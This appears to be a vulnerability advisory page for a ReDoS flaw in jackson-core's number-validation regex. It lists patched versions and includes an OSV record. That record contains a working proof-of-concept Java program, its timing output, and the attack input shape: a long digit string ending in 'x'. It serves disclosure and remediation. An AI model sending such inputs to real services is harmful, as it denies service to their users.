CVE-2026-89407: jackson-core Denial of Service Vulnerability
HIGHCVE-2026-89407 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting jackson-core libraries in the Maven ecosystem. The issue involves redos: quadratic backtracking in numberinput.pattern_float via lookslikevalidnumber(). Remediation is available by upgrading affected packages to version 2.18.11, 2.21.7, 2.22.3, 3.1.7, 3.2.2.
CVE-2026-89407 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-89407
To remediate this vulnerability, upgrade all affected jackson-core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.18.11</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.21.7</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.22.3</version>
</dependency>
<dependency>
<groupId>tools.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>3.1.7</version>
</dependency>
<dependency>
<groupId>tools.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>3.2.2</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=com.fasterxml.jackson.core
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2026-89407, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=com.fasterxml.jackson.core
Analyze the terminal output to locate any version of jackson-core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.18.11), your application is affected.
Note: The mvn dependency:tree -Dincludes=com.fasterxml.jackson.core command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In jackson-core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-89407 Affected jackson-core Versions
5 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
com.fasterxml.jackson.core:jackson-core
|
Maven |
≥ 2.17.0
< 2.18.11
|
2.18.11
|
|
com.fasterxml.jackson.core:jackson-core
|
Maven |
≥ 2.19.0
< 2.21.7
|
2.21.7
|
|
com.fasterxml.jackson.core:jackson-core
|
Maven |
≥ 2.22.0
< 2.22.3
|
2.22.3
|
|
tools.jackson.core:jackson-core
|
Maven |
≥ 3.0.0
< 3.1.7
|
3.1.7
|
|
tools.jackson.core:jackson-core
|
Maven |
≥ 3.2.0
< 3.2.2
|
3.2.2
|
References
Frequently Asked Questions
What is CVE-2026-89407?
Which jackson-core versions are affected?
What version fixes CVE-2026-89407?
Is jackson-core affected?
What is the CVSS score of CVE-2026-89407?
What CWE is associated with CVE-2026-89407?
How can I check Maven dependencies for CVE-2026-89407?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-p6pp-m3f8-5c89",
"modified" : "2026-10-01T15:19:22Z",
"published" : "2026-10-01T15:19:21Z",
"aliases" : [ "CVE-2026-89407" ],
"summary" : " jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()",
"details" : "## Status\n\n**FULLY REPRODUCED** with a clean, textbook empirical signature: measured runtime grew almost\nexactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000\ncharacters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical\nHTTP request body) took **74.4 seconds** for one call to `NumberInput.looksLikeValidNumber()`.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java`\n (`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point\n `looksLikeValidNumber()` lines ~646-656)\n\n## Technical Analysis\n\n```java\nprivate final static Pattern PATTERN_FLOAT = Pattern.compile(\n \"[+-]?[0-9]*[\\\\.]?[0-9]+([eE][+-]?[0-9]+)?\");\n\nprivate final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(\n \"[+-]?[0-9]+[\\\\.]\");\n\npublic static boolean looksLikeValidNumber(final String s) {\n // ... short-circuits only for null/empty/length==1 ...\n return PATTERN_FLOAT.matcher(s).matches()\n || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();\n}\n```\n\n`PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class:\n`[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java's\nbacktracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here,\nso on a non-matching input the engine must explore every possible split point between the\n`[0-9]*` and `[0-9]+` groups before concluding failure — the classic quadratic-backtracking\nshape. `looksLikeValidNumber()` compounds the cost by running a **second** full-string regex\n(`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor\nwithout changing the asymptotic class.\n\nCritically, the length gate that applies to this specific path is\n`StreamReadConstraints.maxStringLength` (default **20,000,000**), not `maxNumberLength`\n(default **1,000**) — the length ceiling the library uses everywhere else for numeric content.\nThis means inputs up to four orders of magnitude larger than the library's own numeric-length\npolicy reach this quadratic regex unmodified.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC8_NumberInputReDoS.java\njava -cp \"poc:$CP\" PoC8_NumberInputReDoS\n```\n\n## Full PoC Source (`poc/PoC8_NumberInputReDoS.java`)\n\n```java\nimport com.fasterxml.jackson.core.io.NumberInput;\n\npublic class PoC8_NumberInputReDoS {\n\n public static void main(String[] args) {\n int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};\n long[] timesMs = new long[sizes.length];\n\n System.out.println(\"Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\\n\");\n\n for (int i = 0; i < sizes.length; i++) {\n int n = sizes[i];\n String s = repeat('1', n) + \"x\";\n\n if (i == 0) {\n NumberInput.looksLikeValidNumber(repeat('1', 200) + \"x\"); // warm up\n }\n\n long t0 = System.nanoTime();\n boolean result = NumberInput.looksLikeValidNumber(s);\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n timesMs[i] = elapsedMs;\n\n System.out.printf(\"n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n\", n, result, elapsedMs);\n }\n\n System.out.println(\"\\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\");\n boolean quadraticSignatureObserved = false;\n for (int i = 1; i < sizes.length; i++) {\n double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];\n System.out.printf(\" n=%d -> n=%d : %dms -> %dms (ratio=%.2fx)%n\",\n sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);\n if (ratio >= 3.0) quadraticSignatureObserved = true;\n }\n\n System.out.println(\"\\nLargest test (n=\" + sizes[sizes.length - 1] + \") took \" + timesMs[timesMs.length - 1]\n + \" ms for a single call from ONE HTTP-body-sized string.\");\n System.out.println(\"\\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) \"\n + \"governs this path, not maxNumberLength (1,000).\");\n\n if (quadraticSignatureObserved) {\n System.out.println(\"\\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent \"\n + \"with quadratic backtracking in PATTERN_FLOAT on non-matching input.\");\n }\n }\n\n static String repeat(char c, int n) {\n char[] arr = new char[n];\n java.util.Arrays.fill(arr, c);\n return new String(arr);\n }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nTiming NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n\nn=5000 looksLikeValidNumber=false elapsed= 74 ms\nn=10000 looksLikeValidNumber=false elapsed= 306 ms\nn=20000 looksLikeValidNumber=false elapsed= 1157 ms\nn=40000 looksLikeValidNumber=false elapsed= 4655 ms\nn=80000 looksLikeValidNumber=false elapsed= 18592 ms\nn=160000 looksLikeValidNumber=false elapsed= 74393 ms\n\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\n n=5000 -> n=10000 : 74ms -> 306ms (ratio=4.14x)\n n=10000 -> n=20000 : 306ms -> 1157ms (ratio=3.78x)\n n=20000 -> n=40000 : 1157ms -> 4655ms (ratio=4.02x)\n n=40000 -> n=80000 : 4655ms -> 18592ms (ratio=3.99x)\n n=80000 -> n=160000 : 18592ms -> 74393ms (ratio=4.00x)\n\nLargest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.\n\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic\nbacktracking in PATTERN_FLOAT on non-matching input.\n```\n\nThis is an unusually clean empirical result: five consecutive doublings each produced a ratio\nbetween 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within\n5% at every single measurement, leaving essentially no ambiguity about the complexity class.\nExtrapolating this measured curve, a ~1MB string (well within common request body limits) would\ntake on the order of hours for a single call.\n\n## Impact\n\nAny application that coerces a String-typed JSON field to a number (default `jackson-databind`\nbehavior) is exposed: an attacker who can submit a large numeric-looking string (up to\n`maxStringLength`'s default of 20,000,000 characters — far larger than needed given the\nmeasured curve) can pin a request-handling thread for an extended period with a single request.\nBecause the cost scales quadratically, a handful of concurrent moderately-sized requests\n(tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread\npool, denying service to all users.\n\n## Remediation\n\n1. Rewrite `PATTERN_FLOAT` without quantifier ambiguity using possessive quantifiers, e.g.\n `[+-]?(?:[0-9]++(?:\\.[0-9]*+)?|\\.[0-9]++)(?:[eE][+-]?[0-9]++)?`, which also folds in the\n trailing-dot case and removes the need for a second full-string scan.\n2. Better: replace the regex entirely with a single-pass hand-written character scan — the same\n file already contains exactly this pattern for `parseInt`, so the library has both the\n precedent and the code style available.\n3. Apply an independent length limit (`maxNumberLength`, not the much larger\n `maxStringLength`) before calling `looksLikeValidNumber()`, closing the four-orders-of-\n magnitude gap between the two constraints for this specific code path.\n4. Operationally, until fixed: tighten `StreamReadConstraints.maxStringLength` well below its\n default, and set wall-clock timeouts on parse/coercion operations.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "com.fasterxml.jackson.core:jackson-core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.17.0"
}, {
"fixed" : "2.18.11"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.18.10"
}
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "com.fasterxml.jackson.core:jackson-core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.19.0"
}, {
"fixed" : "2.21.7"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.21.6"
}
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "com.fasterxml.jackson.core:jackson-core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.22.0"
}, {
"fixed" : "2.22.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.22.2"
}
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "tools.jackson.core:jackson-core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.0"
}, {
"fixed" : "3.1.7"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.1.6"
}
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "tools.jackson.core:jackson-core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.2.0"
}, {
"fixed" : "3.2.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.2.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-p6pp-m3f8-5c89"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-89407"
}, {
"type" : "WEB",
"url" : "https://github.com/FasterXML/jackson-core/issues/1649"
}, {
"type" : "WEB",
"url" : "https://github.com/FasterXML/jackson-core/pull/1650"
}, {
"type" : "WEB",
"url" : "https://github.com/FasterXML/jackson-core/pull/1701"
}, {
"type" : "WEB",
"url" : "https://github.com/FasterXML/jackson-core/commit/731e794f62623aa0d86ced52490166be903fbb1d"
}, {
"type" : "WEB",
"url" : "https://github.com/FasterXML/jackson-core/commit/e7acd64cc99bd346704423dc2bfea1ab0a08ddff"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FasterXML/jackson-core"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1333", "CWE-400" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-01T15:19:21Z",
"nvd_published_at" : "2026-09-22T15:17:21Z"
}
}